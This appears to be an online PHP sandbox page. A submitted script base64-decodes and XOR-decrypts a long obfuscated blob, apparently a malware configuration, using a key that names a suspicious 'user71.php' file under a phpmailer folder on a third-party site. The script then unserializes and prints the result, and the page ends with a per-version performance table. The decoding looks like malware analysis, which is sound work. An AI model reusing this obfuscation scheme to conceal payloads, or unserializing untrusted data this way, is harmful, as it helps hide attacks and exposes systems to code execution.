Online PHP editor | perf for 4AS5O

<?php function b64d($input) { $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; $i = 0; $output = ""; $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input); do { $enc1 = strpos($keyStr, substr($input, $i++, 1)); $enc2 = strpos($keyStr, substr($input, $i++, 1)); //echo($enc2); //echo( substr($input, $i++, 1) ); $enc3 = strpos($keyStr, substr($input, $i++, 1)); $enc4 = strpos($keyStr, substr($input, $i++, 1)); $chr1 = ($enc1 << 2) | ($enc2 >> 4); $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); $chr3 = (($enc3 & 3) << 6) | $enc4; $output = $output . chr((int) $chr1); if ($enc3 != 64) { $output = $output . chr((int) $chr2); } if ($enc4 != 64) { $output = $output . chr((int) $chr3); } $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; } while ($i < strlen($input)); return $output; } function decode($data, $key) { $out_data = ""; for ($i=0; $i<strlen($data);) { for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } $config="CAIYWRRdVEsVVxVQUgZSRlJPEh9eUUZJDVUxI1xaXQcJEBkhDxY/ADtdURxtTSAzPgpwRggQEk9LaV4taVdcVx9NIAsCSk8RT1tZXkcFAFcKHwJdFhwVC0EdMAAfGQwIBQlcTBoeR0lECx1HUlI8WmwmV28rSVYjRCQiMQkQBzg/UQk/KlVcJk1Gdi1KGRkhTU0NUlYSU15WSA0YEgsHUl1dHwQZGgodIwhDDxNDWxMdBEVTB1hGXVZGMQsBGAAhHVkuKiokQVhNEAYHCAxKFjUSQEVSVE9bEyIKFUsDXVleFlRYSBofFBADCRoMDCkBFwtcEEAMUktcWV9QSVF7Og08H1wrGickbRIAVhhTSQgDL00hQHxFFxMEKE0QUkkaXVlMWFcNCRIEHAdKDDAJTgsDDl0QQB1KSx5bXVhfUBYWKz8zUwZKGyoyCnMYJyMTIzRbRyE6PC8uEzcPOUoXIk9FdghWCEUxUQMWURQDUkJYW0sGCgFKBRtLGEJdRxUGQFh4SQ4ORwJUTBodUFIUUkdbT0stIzwQPRJSFjFlAQs2KzJ+ND0yHRg6Lww3bVMAIk9RSAgIAk07WktBVF1USBhPUh8ICwsbDhg2DhYMHABADzAYQBcBABofARMHHU9aGlZWQRVXMh8BYHRNIwsnUVx6LwATGRhCF1YBLlpfABVTEQY2B08WDVoDSh5aVkMABUIdBx4CIQEDER9OHB9LEVhcDEsbSl0JFEE3exQMaQRNBwgKAzlXRhNfVhxLKWEAAx1tEFhHADQSNi8TSxlUBjcQSldIFkgFBBRSGxkHW0ICBlwEG1waHkpeJxEVChoGQgcKH1EUEkpDGFlOLDUXRwYtKj0RGhs0T0hGCx1HBlsfNAszT0tpXhp+SAISHyIQDEVTB1hHX1ZGCRcAWwQCL0MKFgABF1wwAB8ZDAgFCVxMGh5HSUQLHUNSUj1bRF4EGjkufRxIQFsSEiNTQydKFyJPS30bVggSCT4DFlEUA1JBVFtLHgoQRRobBBxEXkAwBQMHFk0MAgxVCRVGRkhLVCoRWhEEPRMAJjhZIyhNTDI1JxYSflYbN1AgKyZDCkVIIQcXFQpdSllHUxpeTQ5uDwhIGh4XHUkLG0wAAk5fFkhAGVtSQhwLJiUDA10pAQlQMB0qNEBCESUcBhFCaU1cAgYeVglSfAwfDU4DSFheUlYOEAxdXVNKRxkhFx1OCgBPEBxCUlMDV1JeVkc0HjcZJAt2XEtNL0QicGhQXGo/TB4NKlQaIFU2FhFPFA5YIBFKQ0sDFVFcW1EHWxoJHQQPDltWMkgYEgweGVJBHUpLGgIaUFUMXBdlJAdHDRIjOCQREV4yUjU+FyVNM2s1IlIwKVtWGzdQUg9ZQwoSHyEHFxUKXUpaQlMaXAgEXA8NQxACLV5TKA0DHQYDSgYdHg1aA0ocWlZDQThjER41CysdGCckYy87BzgKR0U2I0QwAAgQKBMsLR5TCBg7WgoRQE4aVlZWSFFFDgMYQwYJExwUSgIbMBQAAQMKXEwaHkdJRAsdRlJSWlB4AVlgG0tZPkEwVBIwBQk3OiEKDFQAaFxGJUxFFAshTk0VSkseW1tcX1BHARwSHFpQQEhQMA5VTwoDAA0VQldLAVNUWE5AHhxRHTY8Mhc4IyR4KC4VQlVcN1VDDCdPFA8gEhcWR0lECx9GUlIdSlwMHE0BH28YAxxHBAcZQE4aVldSSFFqAhI9FjZROzIUXDYqB1oTOA4vPG0NIUMBcAxkBgZWEQVEMQ1LTEFcT0FLU0ULFhAaHgJWUTIKGAwRGUNNDw4eURQDUkNVW0sbMUZtQQFRN3F1Exo+ChoBXlcMHwMRVjBWAS5aIx4mUxEGWTcQFg1aA0odUFZDBxtGEwMcDBUAAgpDHDUKBBpYXgATBx1LA11ZXRZUWBdHATMvXz5NX0E9AlIMNVVcJk0XeEUUCyEREhVKSx5bWFpfUEYbABETRQBuHAEGDBZNDAIMVQdcT0FISwFKTwNPW1YfDEhDFBJKQx9ZTkMxAU4eDBlPQVUOFxNBERolHlhHSxgBBBoWTQwCEExBRk9BSRpdWkxYV0skAQwWGg1BTBhKCggIMx9ABg0YBBUaQgYdQktRXg9ECxxKShECGhUQVR1YQA1EQRMNUFwQVFhYCFBTX0ccWBJdFloOUF5CHkZeSVkDDVgDRUlXSBZIBQsMHBxSUlEUUlRdVEsVVxxQUhRSQVFHX1ZGWRoHQg1OehMBAwUKTSULVBIfX1UOF0xTCU8HAAlMJAsUTAtKEF8NXFAGExcCTBUvDRgOGkkfEwAXB0YEXFBmQxsAHQcPBAdQBQAfCUUBQBgWRRRCXw4ZBlAEQQ4BCkocFUAYUAUAEwBUGxocECwMXlN4CREEDwcDQQocWlAEGQYESRgKUkgQB0UCW1RPAx0CDFwRHydHThhOFxVeSR4HAUISBhhEBFIAShkJUE0MCBhSD3gYCQQeQRwcRRBADF9FFlgRVx8dUB5ZQA0ODgkfW1UDHQQCSBoDBh0VRAIbAUNeDDhKGkwVGxZdFURQJEEIAUUTDwMWFwsXWUECBglJX0cRAwBOLUAAHBZJHgcBQhkABwFFBhwPAh8dSkMDFxYBEAwgFRRBGhsAF1tZUyxSQFhCHEgSDBhZCwBLGB9dVQkdHEcfFQwBSQEBRQYcUykVHEMMTBUbFl0VRFAOAAdMHB1aVRsAHkcRQxVIBAYYSBYDSAcWQ1UdC0lHGxEaAAgARAEXAEYTFQMQHyVBGxJZFUgDAgwMGA0bQRJTHB1CEVkfHRwNGEIKBEtODkBVBB0cBAAIK1UNCRcMABYPFR9QRwIaBFMAQB0NUBoEHUwLG0gdB0QOf15aUAoRC10OChwOAhVAHhkcDkcOGxBVCEwXDQtTSBQJDGcKQEEEHFocDFAUDhxMCRtEEFMRHRdFTxwDUB1XDg4KDg8YQAAEUhoCEEsePQwVRUU7U0cABhUPEAMMFlNYFRxQGQkAAgJSQRAWARdTEVofSBIMGF4GAUsaCE4BFRZJFQETCgFJAgsSUw9mQQcZXAtMFRxTDwINEQEIEwlFE0MZUwoUF0hBBRpQGl1WQwlPAA5OBhkXGhshVAwQDAhEER1TVg4FUFsMTAcaCw8DBx0IFQEFCxUPHB1FH04RXhEGBABdXR8sQQMfDxQeFkkKCR8HVQQVRA0dH0oSUAdGBwkTUg9mUAkdTQ0GAw4bQRJTAx1FEU9QCwUdXQ4QClZOFkADFQAVJAcZB1UdA0QIC1NHDgUDSkMDB1MDQxUJAxgTDEwXG0gdB0UcWEZSOUgYCE5LQwVbHQ4PAQUABwIMVFNNSQ0KAVI6DwAdUEMMAwoaHUhQDh8fQQhMCBNbAAEAUl5fXQQaBQpMQRETZgsDDlU5UggKSBVCHQYeChxSFEYTHFBBBgkFFhcPBAdQCgQdTBYdQhBTDRNFVQ4DHAUPXlI0DkAAGw8SFQZJBgZUDRYMDQpFHRUPERwVThAZExZMUzmK8PQMSQsKHEEUUwAKR11BFA1cSVFIQwFBDBVLDFAUKQQDB0IYDEwQChwaSAkEDGZDBAAFFg8DBx0IFQEFCxUPAhYRUlZfSlAfERFBDgUAXE4DQAAMO0kJDREGVQMZFxFSHEEEUB5GBAQVUxJBFEgJAhQbTAYdTB4PLRsbEUofSAkGTQ4UDkAaWlsaUBoIEQ1UERoECUQUBxpMChkVEB8vDh4WDxEGFE0HAAAJUkIQUxIbQ1kOCQcFSVRBFQpSL1pHGgIcEEckFRYcBw1EBhoaTApQB04NGBJTB0BQDxUZQQhMDQdIEFMBG1tVQVAcHwdRSQsbUiccDwwfB0kTDQwWVQQJRAcTEERBAhlICxhBHRxYUCFQGggFAEUBRxoERQtYRA4HABEdGFcMGg4ZFVoZFFIFDgMRQgEGTBAKBxBHHHoLU18OE00PExIaTlEDG1IYeFQJTwcACQ1MAlYMVVpcXRNnThRKEBRSCEcFFRAHAAkARRUGVkEHGEBDBAAAHc3w8QRNCQgIRRMPEhwKFhdXbhMDUA9XXEMODgIVQRJQBgAKDQgvEEkNCgFSHlZBEhVcF0wHARpKHgxQGg4cAAFSQxwYAFJDXg4DHRMCGEENCg4NOkweDDtJEAkaFlUITAYMFVNNDRETREMLFApTXRkPGBlBBwMSU1M7FgAWF1AOAw0ISVFAQwJXThVJExkRDBshAID18B9EAAoHXQQdFUMaTBQBFEoeHFAZDkkLAAYPBhwIFxdCSwhIFgZKDg4KUidaQRAVFkkGSAQDBhoFCwsTB0pBHRFbFh4EUx5OHhQxTQkGHgsLDzg6KTQXX0sVDFAaV0MGT00BFkMQFxdJBQcNEVUdA0QCFwcPDREZSx8lQRIeDxcHHgMASR8QEURVCgoHF15IFkgWBkoOFwdLTg1HGhwXSQkBEwoBFTULEFIERg0cUE0GTAARH0pQHB9NFQYZBhoPGBZFBV9UXBUeFRsYVwwaDgofXBwCF0kTBwg2AgZMDAoGU1wNBQRcQwIEFhcPEUgXAg4NTAcTQRIPLFJAWEIcSB0IU0tDFkEbWlsaUBEcCkgbDFUEFUQSHRFNDQlQTQwDFQoPZlAfEQMVSRgKUlwCEgkeWEYOCQcFGxhZAh1DThBGDwoOIEcfFQwBSRULEFIHQEEVEVtDARhTA1oDGwlNEgUDEh5WCT4cUlBeTxxIGRoYWgxPQw8RSlUJHRxHDRoGCSCO5PwEFg8PFQZKEUwDFhZBUA4wDgoMCEUCXRoDAABbSAJQCxEHGFcMGg4JE1kQUB8MRwlUBBQfAxZFEx1LQRYFQwUFDR9TQglIFB8ECAFaDmZVEghSVhFDERoCAF1KQwdBHBRWVQcdBAYGVBUdBh8BRRoGXAMRHktDBRJTHUAESBEPDQxMER0PAAAAUl9YXVALMApTUi4WDiw8DxwDUgAJSBkLGQAYBRcLU0wUAgJKDRgNCl8PEQYUTShJAgAXS1UACh9SEVoYARMCGE0jDEUSMw8dERZJFA0MQhoHAB1FHR1MBFAZQUMBGFMfRhYNUAwPDUwsUlgUHRFSWl5cFUkMKFRCQwBIThdWVQMXEUcYFRABBwkWFlIEShMVUEkCBQ0GAUpcSBgIDRlMCBcOCTpFBVZfWlAcH0lfRxUKDhcVWlURUgECCRAePEkNCUUTU1sIAhVLQwEOBxtKAkgHBQ5JAgAXSwZTBFJQXkEUSBYpW0UfIUsLHg8MHwcbRww0AR5JHg0CGgcPDx8HUy0JBBdTXB8FFU0MCBgQAEpVHgQcF0VBUBwRAl0ODhYOGBNdEhkcABMRCCwQDAhEBFIRRgZQE28AB0EVHF1QCVAFFAcLFwsPJTMWAU5NeREGHggYWgIES04DQAACUg0nCx9CFAcIRAMbH0NBHQkPDgMUBxsPBwEEBUEAGBkxQBgWRRNZVQ4XDQRJVUtDGEYHFkpVHQtJDx0HABQHCEQMAVNYDgIbRg0LHT4KDwAoAx4YSQUWUlwaUwkdWVRCCUgTHEpcBgFaAgNTPFAFCAkcVBsaHEwQClIRSkEZHlwKCARTHkpQCQNNBQwJFVJOBlMcHUIRTREGDD5ZQBdPWgFaTRkfBUkUBxkHFwYIHUUbHQ8VGBUPEAQOBBZdDCUJTQBNSA0dQxBTDAEXQksVAxkHXw4FAFxOCUAYFVIZCw0VEQAbCRgsUgRGDRxQTQ8DFlMKQAVIGQNBHQQAUkIaBQwXF0VGFQkEG11SKk9GDwxKVRIXDAlIGA0bDAAdRQYcDw0fHkgfIgQWFw8RSBwMEw4JRRZGGRcKDn4RWREGBElBQRZPWgFaTF4dUgAJSBkbVQcNEQIaB1ZBHR9aFwQceQgTEhpOEV0LHltOTQdNGQ89SlJMCgJXBEwRUVJSGF1LDCUMRx8dDhlJGBYcUhJDDVAAQBAJEg8qQAUaUA4hCgdFBUYZH0UQUhFMHAcHBxhbExN6Bh8PFxUWSRABGA5VCx4BBBlTTgcEFV1DAxQBU1wVQwwjCAoJRRVGGxQAABdZTxkaUAhWSkMNRwlaTQASEAUeSBYNGgsfGDIbH0NBFxlZBkwYHAYPBAAVTQMMHxFSRxQdARhYUw4VHhUbRGdDGEcCFg8ZFQZJHgcBQgEGTBAEAQdKQR0VDxQEBAEWWRUaUBQOHEwSHVoZF0UeXlpLUBwfFWtBDgoOBBNVD1AFBhIEEEIXDEwXClIDQwQRA1oRDQMfFg8CARcFFUkCCgVTJhwIFxdZQQRIEgVXQAcKDgkTXRlQHAwCDFQDVQEDFgsLU0IAHgxiGkwFFhZfUBgwHhIQTBIbQxlTDB9HQ0sDG1AQV1tDDg4CFVsJOVIICkgNDQBJHAgAEwBaExVQXAwZExAWUz4JBQoJHRVFEEYBEA1SWVRLFBtQHVcOAQoODxlMAAMXDUcBGkIBAQlEBFZXUyIfHUpDDQ8XU00VSBkDEgAIAFJAE1MIF0t4DgcJHh0YVwwaDhoVDxEZBAxHARpCGBBMFwoHHw8AA1BLBgkRUxJcUAEETQgaTBUdXAYaBx5STW9QGxwcTFoaT1kBF04bUAUICRwHQgEGTAYAUhtADhsVS0MZEVMERgQAUAxBCgMQAkMQUwoUF0hBBQYXSV9bGhxSJA9cAVAHBwMaEREGSQEBRRMdS0EHGUMPTAMWU1YfHQIeHSBMDhxAAlMNHUARWh9IFwBOS0MODh4WShQDEwcTSBkDBhoNAwAOPlZBBhldBAUPUwBHER4VCUEZGRYBVlUaFlJWXUJQER8cSl0fJg4JFVtVBxcdRx8cCxkMTC1FBRJcQQQYRg0HCB0UDxEKHxgVSRUKB11VECURXE16GA0CDBhHEE9dARdKVR0dABQcVAsbSQEdRQISQRUZFVxDDxQBAUoeHBwUHT4JRQVGGR9FAUNQXARIHwcYWgsKDhobTRkVUggTSBILBxoYGCxSEkJBFx9GDQtBBxwPAx8RAQ0GG0ULQAABRQFAXkIcDR5JVlsXHFIjAw8XHxYQRwEHQhIMGBAMHBQPFhUEUypMAhIdzfDxBE1BGhgKAg8BGwwcXFhAF0gRC1dbF09aBhtbVRgHDgJIAAocBwtEDBxTVg4FAg8TDQ8HAFMxHFALCBsfEVJYEFMEAFIRSR8BHg4YWgxPSgFaXBodF0kFHQAWVRoYEQMUD2ZBBxFcQw1BERJLUA8ZHw0VJhABW1UcCxcXX0cXAARFGE8NCw4XFVpVBxsFC0gaBwMMHkQDHQFIBARQRhcQNRIYSlAFFU0TAAsNBg8aHUUGX1QOEwcFClBSKk9PA1pOVR4LBBcAGw8UBwUFBg40RhcZHkhDDUEDH0oRGwUfBEkFFlJbHRZFAkJDXh8bFUlXSEMCV04WRhMVDj4CSAMLGQVMAApSGltBGR4PAkwVAQZBGxQzAgwMTAQcS1UBBAJSEUMVSBkHGEMaT0YBFkoGDXgSWwoGXAkVUAYXTE9NE04MUmlQAFMbXRUOTU8JHRgVSABaFwwEVlZPAgFeCldDTA5CBxtcWwAaGVgTGR4bFQMYFQ4BUxIMBFMUEBkPClMKFAUQXFhfXFR0MycgO3tsDE4TPRAYXhEASAcWSlUAGwoTHQYHBkkNFgBSEkMNUBZAEUwYHAZTOAcHTQUGTBwdWlUfDBlSEUMJSBIGXFdcE2oBWlYaBVIdDwEaCVUEFUQHHRxNElASRgRMBB0cWhcATxEiAQkGGQ8aBhFSWkgOEg0DHRheCgxaGwhKBgw2BkcRGxdVHg0KEVIHQEEDFUpDAQRTBkEUGhUeEgwIWg5iDFMRG0NCDhEaFUlLQUMNWwMKShFQHQdHHBwHVRkFBxEHAUodOVBYAgIVUwpABUgEAkEOAAQcTBBTERpFXlsXAFAEQQ4TAFwaHEAZGR1JBgYQQhQaHwEWAVNCGFAeTggJBVMRQBQRDC4JDA8OUkAAB0UfThFMHwcSAF1dHztGDw4PFwUGHUcHGkIBAQlEFRsQWxQCFQ8KH0EdFkoUDRRNFQZMBxcPE1tMEVxUSgwhUAFXXgZPVwEPDxkZGQxHBQ1CBQAPEBAAFlwdJhlKFEwMClNHHxxQDw4NFUUaSgcWGSVWRU0YSB0QGEcODkkLCQ8UHhZJHgcBQgIAAAhFBx1LBAIDWwICBVMbQAdIGAITBxVFOw8UHhk+WF5FUBwYG1dbBAcOAwMPBRkRGkcJGgZVDywHDlIeSh05Fg8aAxRTEEAdDVAZDkkBAF4PPFMSG1tdDgMAHx4YVwwaDgMVXRBQBgEGBlQIABoYRBUbEFsUAhVcHyEYUwNAAhwWAg0AA0URQBsHBBtZQg4EABVJUEEXG0sdDg8cHRMOAhsIK1UBDRIAUhIPDR8EDwwKQQAWTAINBE0RAA8RB10QAEUUWEMOCQcFFWtLBk9DF1pfBx8UAAsNWEIUBwhEHB0GDxYZHENDAgQFFl1QGhULFBoJRQZAVREEHFARQxUUJAFdDgEaWhpaQBtQE0kXARcWABsJRBITHVsSUARAQw4EUwBfEQYbCAUVJYfythkfRQFfXllQER8cGEMaT0oHCFsMUAIBCBwbEQhVQwVbeAgTAwJOEwEeXw9PTQJWDBBrEhBZEF1LTwcACU0SEhpOFWxLGxsOAx8PAR8cAAAAAB4xBgKG5esHDwcfAkgGGEEeFlM5SBEAQQ4DDBxIVQcKUlVUDhgHAgdBDhcHS04NRxocF0kDCQ1CAgAYDAoHBw8YHwVTLwMPFh9WUAkXDAgHjuXUUzwVRTsXRk8DSBMFV10GQw4nWlgaBR4NRxsBAR4MCEQcHQZdQRQwTAhMCB0AWxUJFE0OD0wWE1YcHQJSUF5BFAoJDER3DBoODwhKVRIXHRMNBkIBBkwMEAABVh0jFUpDFQ4GU0MRHBUfHSBMBB8PAhIMBl5fSVAOHxsYVwwaDgYVQRAJDiwOHBwHB0kVCxBSAU4RFVBCBkBBHAEPOUgTAgwMTAoESgdTBBxTEV0FCxtJQUEWT0EIHA8HGRUBE0gaDQIVLh0AUhBaFRkVUyoYQQQSXFAJUB0NDA0WB10QUxYXT0VHHg9QHlFaC09XAQ9TPR8CDEccG0IGDAlEHB0GDwAXEUYNECIcHkpQHB9NDBBMDR1aBhZFOxdGTx4cUB1XDhAOV04ORxQeGUkeBwFCHAdMBUUBA0oCGRFDQxsACg9sGAkEGQgHC0UFRgEbRQtYRA4HCQNJWksXG0scWlsdERxJFA0MQgIAGAxFHwoPCQUDTQICBQ87QAANUBQOHEwJG0QQF0UfThFGHxoeEBhdFwBcBx9cVQw7SQUNAEIMBhlEEhsfQ0EdGVwQTAwWDiULFEwPE1dQBwARCU8HAAlMJExHEgZcV11lEkESWxgcTEtcG05TT0sfRl4TSR1bCxkVU1cSSUEYRFJSFlBJEFdSU0ZTGVIDEVI/BhVJRFMYOE8HDkYbF1IVNw0aBhwHC0QZPBZYQQwNVCoCEgcSUyEdGQ4KFSoEAVsJOwoGS2RcFw0eHUR9Fh9LHFp+ABkRAhspVCQUGhgYMBwSQRIHFV0GCB0OCFNQFQtNLgcJRTxGEhsRUmRFTx4MDC8STQg7QQATSB0EDiEIBx8XBRUuVFUGClMyHhFbAAQdNVBMGxQjCBkVLgQcSAkwDRdWRVIxDhYIUVwfPEsWMkAaGwcZGyBEUh4cHCIMHBdKEww0QBQCVSccQRkPGBkcSRckHkoHBxk/VkVNGBQzCFRCHz1LHw9KBgQOJwgcHQQcCg0QDB0dUywVA1wCCwQPPlwXFVJWCFNdXgEVR0RRSBVKH1AUQklEHUMTDlpaUzoeF0kbFQ81FAAYDQsVU1MxFR5LCgIGUw9hFR9QERwSJQsBWxQPNAdeUkUMLhEaTFIrAFoSL10SFRwdGzsBEhAbTDUQGxBEHTFQaQIfFQ8mQREGAxoEGwkBDlIOD0UPTBFhHg1QJ1FJCxsOPQ5OGxQOL00LHzYaBwUDDQYPZw4fG1oTECNDQ1sJFCMDAB0PDQ5pVhAODmRUVgwqEQdfUiAHSw8OUzQWFAgOGggxEBEkCwoZBl8dOEAfCBkRNRpBFA0CESUGGwtGexodDBVfRVNQEzEFXVwXE2MPDkwdDDEICwQIMBAYGQEWBg9hDgQZSQoPAAcaQB4UPQgSGg0CF1M4AAIPFQpTDQ=="; $key = "i8.co.nz/uprightbuilders/app/class/phpmailer/user71.php"; $data = b64d($config); //$data = base64_decode($config); //echo($data); $data = decode($data, $key); //echo($data); $data = @unserialize($data); print_r($data); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

Version	System time (s)	User time (s)	Memory (MiB)
8.3.6	0.011	0.015	16.86
8.3.5	0.007	0.018	16.69
8.3.4	0.011	0.007	19.07
8.3.3	0.009	0.009	19.07
8.3.2	0.003	0.006	20.61
8.3.1	0.000	0.009	21.85
8.3.0	0.000	0.010	20.89
8.2.18	0.003	0.014	17.00
8.2.17	0.014	0.007	22.96
8.2.16	0.007	0.014	20.41
8.2.15	0.000	0.009	24.18
8.2.14	0.003	0.006	24.66
8.2.13	0.006	0.003	21.13
8.2.12	0.006	0.003	26.35
8.2.11	0.006	0.006	19.52
8.2.10	0.007	0.007	17.97
8.2.9	0.007	0.003	19.89
8.2.8	0.006	0.003	18.34
8.2.7	0.000	0.010	18.17
8.2.6	0.007	0.003	18.05
8.2.5	0.000	0.015	18.10
8.2.4	0.008	0.003	20.72
8.2.3	0.007	0.003	19.56
8.2.2	0.000	0.010	18.33
8.2.1	0.006	0.003	18.25
8.2.0	0.004	0.007	18.10
8.1.27	0.005	0.005	22.06
8.1.26	0.000	0.009	28.09
8.1.25	0.003	0.006	28.09
8.1.24	0.008	0.003	22.64
8.1.23	0.009	0.006	20.91
8.1.22	0.005	0.005	17.79
8.1.21	0.004	0.007	18.89
8.1.20	0.007	0.003	17.47
8.1.19	0.003	0.007	17.48
8.1.18	0.006	0.003	18.10
8.1.17	0.007	0.003	18.78
8.1.16	0.000	0.009	22.35
8.1.15	0.004	0.007	18.91
8.1.14	0.003	0.007	19.71
8.1.13	0.003	0.006	17.87
8.1.12	0.004	0.005	17.86
8.1.11	0.007	0.003	17.84
8.1.10	0.003	0.007	17.79
8.1.9	0.007	0.003	17.81
8.1.8	0.003	0.006	17.78
8.1.7	0.000	0.009	17.79
8.1.6	0.004	0.008	17.90
8.1.5	0.005	0.005	17.73
8.1.4	0.003	0.010	17.77
8.1.3	0.003	0.007	17.97
8.1.2	0.000	0.010	17.88
8.1.1	0.003	0.007	17.74
8.1.0	0.003	0.007	17.79
8.0.30	0.004	0.004	20.16
8.0.29	0.003	0.006	17.00
8.0.28	0.006	0.003	18.44
8.0.27	0.000	0.012	17.45
8.0.26	0.000	0.008	17.52
8.0.25	0.000	0.009	17.32
8.0.24	0.003	0.006	17.17
8.0.23	0.003	0.006	17.16
8.0.22	0.000	0.009	17.18
8.0.21	0.009	0.000	17.20
8.0.20	0.000	0.009	17.30
8.0.19	0.003	0.009	17.31
8.0.18	0.000	0.010	17.14
8.0.17	0.006	0.003	17.14
8.0.16	0.000	0.009	17.27
8.0.15	0.006	0.003	17.11
8.0.14	0.003	0.007	17.21
8.0.13	0.006	0.006	13.68
8.0.12	0.000	0.010	17.25
8.0.11	0.004	0.008	17.35
8.0.10	0.003	0.006	17.25
8.0.9	0.000	0.010	17.05
8.0.8	0.003	0.017	17.17
8.0.7	0.007	0.003	17.26
8.0.6	0.003	0.008	17.20
8.0.5	0.003	0.006	17.11
8.0.3	0.013	0.018	17.44
8.0.2	0.009	0.030	17.41
8.0.1	0.007	0.003	17.36
8.0.0	0.007	0.031	17.13
7.4.33	0.000	0.008	15.55
7.4.32	0.004	0.004	16.83
7.4.30	0.006	0.003	16.95
7.4.29	0.009	0.000	16.71
7.4.28	0.000	0.011	16.84
7.4.27	0.000	0.009	16.89
7.4.26	0.003	0.006	16.82
7.4.25	0.007	0.003	16.77
7.4.24	0.006	0.003	16.87
7.4.23	0.006	0.003	16.95
7.4.22	0.004	0.019	16.90
7.4.21	0.008	0.012	17.04
7.4.20	0.009	0.003	16.86
7.4.16	0.014	0.022	16.89
7.4.15	0.014	0.021	17.40
7.4.14	0.011	0.023	17.86
7.4.13	0.008	0.025	16.94
7.4.12	0.006	0.027	16.86
7.4.11	0.010	0.025	17.08
7.4.10	0.010	0.024	16.85
7.4.9	0.010	0.024	16.78
7.4.8	0.010	0.023	19.39
7.4.7	0.013	0.020	16.81
7.4.6	0.016	0.016	16.85
7.4.5	0.004	0.015	16.89
7.4.4	0.006	0.029	16.73
7.4.3	0.011	0.023	16.66
7.4.1	0.003	0.017	15.49
7.4.0	0.003	0.018	15.25
7.3.33	0.004	0.004	13.58
7.3.32	0.005	0.003	13.51
7.3.31	0.000	0.010	16.74
7.3.30	0.003	0.007	16.70
7.3.29	0.010	0.012	16.68
7.3.28	0.009	0.016	16.65
7.3.27	0.012	0.024	17.40
7.3.26	0.008	0.025	16.66
7.3.25	0.012	0.021	16.77
7.3.24	0.008	0.029	16.81
7.3.23	0.009	0.024	16.81
7.3.21	0.009	0.025	16.76
7.3.20	0.009	0.027	16.75
7.3.19	0.015	0.021	16.79
7.3.18	0.007	0.027	17.00
7.3.17	0.010	0.023	16.70
7.3.16	0.006	0.035	17.00
7.3.13	0.006	0.019	14.82
7.3.12	0.007	0.017	15.21
7.3.11	0.013	0.013	14.86
7.3.10	0.006	0.015	15.45
7.3.9	0.003	0.017	15.34
7.3.8	0.010	0.007	15.20
7.3.7	0.003	0.014	15.16
7.3.6	0.006	0.013	15.26
7.3.5	0.011	0.011	15.05
7.3.4	0.009	0.009	15.27
7.3.3	0.004	0.015	15.23
7.3.2	0.010	0.010	16.80
7.3.1	0.003	0.010	16.81
7.3.0	0.004	0.015	16.73
7.2.33	0.012	0.025	17.06
7.2.32	0.010	0.025	16.96
7.2.31	0.010	0.023	16.85
7.2.30	0.010	0.034	16.94
7.2.29	0.009	0.028	17.02
7.2.26	0.010	0.014	15.44
7.2.25	0.007	0.017	15.57
7.2.24	0.003	0.016	15.34
7.2.23	0.000	0.018	15.52
7.2.22	0.003	0.017	15.48
7.2.21	0.013	0.006	15.27
7.2.20	0.006	0.009	15.56
7.2.19	0.009	0.009	15.46
7.2.18	0.007	0.014	15.22
7.2.17	0.006	0.013	15.36
7.2.16	0.003	0.020	15.15
7.2.15	0.006	0.009	17.17
7.2.14	0.011	0.007	17.17
7.2.13	0.007	0.010	17.08
7.2.12	0.010	0.010	17.13
7.2.11	0.010	0.003	17.27
7.2.10	0.003	0.017	16.88
7.2.9	0.000	0.013	17.29
7.2.8	0.010	0.007	17.32
7.2.7	0.000	0.014	17.18
7.2.6	0.003	0.013	17.22
7.2.5	0.005	0.014	16.90
7.2.4	0.003	0.010	16.81
7.2.3	0.007	0.007	17.26
7.2.2	0.009	0.012	17.06
7.2.1	0.007	0.014	17.30
7.2.0	0.010	0.012	18.38
7.1.33	0.007	0.017	16.07
7.1.32	0.003	0.017	15.95
7.1.31	0.000	0.020	15.88
7.1.30	0.006	0.015	15.90
7.1.29	0.003	0.020	15.88
7.1.28	0.004	0.022	16.13
7.1.27	0.000	0.020	15.84
7.1.26	0.010	0.013	16.08
7.1.25	0.004	0.012	15.86
7.1.24	0.000	0.022	15.70
7.1.23	0.006	0.013	16.20
7.1.22	0.000	0.017	15.66
7.1.21	0.003	0.016	16.20
7.1.20	0.002	0.015	16.02
7.1.19	0.003	0.013	16.06
7.1.18	0.004	0.015	16.04
7.1.17	0.003	0.016	16.03
7.1.16	0.006	0.018	16.12
7.1.15	0.011	0.011	15.96
7.1.14	0.007	0.014	15.93
7.1.13	0.007	0.020	15.98
7.1.12	0.007	0.013	15.96
7.1.11	0.000	0.015	15.95
7.1.10	0.000	0.019	16.00
7.1.9	0.010	0.013	16.18
7.1.8	0.006	0.012	15.90
7.1.7	0.004	0.011	16.46
7.1.6	0.008	0.010	16.88
7.1.5	0.011	0.011	15.82
7.1.4	0.009	0.012	15.88
7.1.3	0.004	0.022	16.08
7.1.2	0.010	0.010	16.16
7.1.1	0.009	0.012	15.91
7.1.0	0.003	0.050	19.23
7.0.33	0.010	0.010	15.53
7.0.32	0.009	0.006	15.75
7.0.31	0.003	0.014	15.39
7.0.30	0.003	0.016	15.84
7.0.29	0.007	0.010	15.70
7.0.28	0.010	0.007	15.55
7.0.27	0.003	0.023	15.42
7.0.26	0.007	0.015	15.66
7.0.25	0.004	0.018	15.78
7.0.24	0.010	0.014	15.61
7.0.23	0.003	0.017	15.56
7.0.22	0.006	0.014	15.65
7.0.21	0.007	0.014	15.31
7.0.20	0.040	0.014	15.38
7.0.19	0.003	0.019	15.63
7.0.18	0.003	0.016	15.78
7.0.17	0.007	0.010	15.47
7.0.16	0.007	0.014	15.74
7.0.15	0.009	0.012	15.64
7.0.14	0.009	0.009	15.56
7.0.13	0.010	0.041	18.79
7.0.12	0.012	0.037	18.75
7.0.11	0.005	0.040	18.90
7.0.10	0.003	0.043	18.85
7.0.9	0.011	0.037	18.89
7.0.8	0.007	0.039	18.73
7.0.7	0.007	0.039	18.89
7.0.6	0.003	0.038	18.76
7.0.5	0.005	0.041	18.94
7.0.4	0.007	0.039	17.96
7.0.3	0.008	0.038	17.77
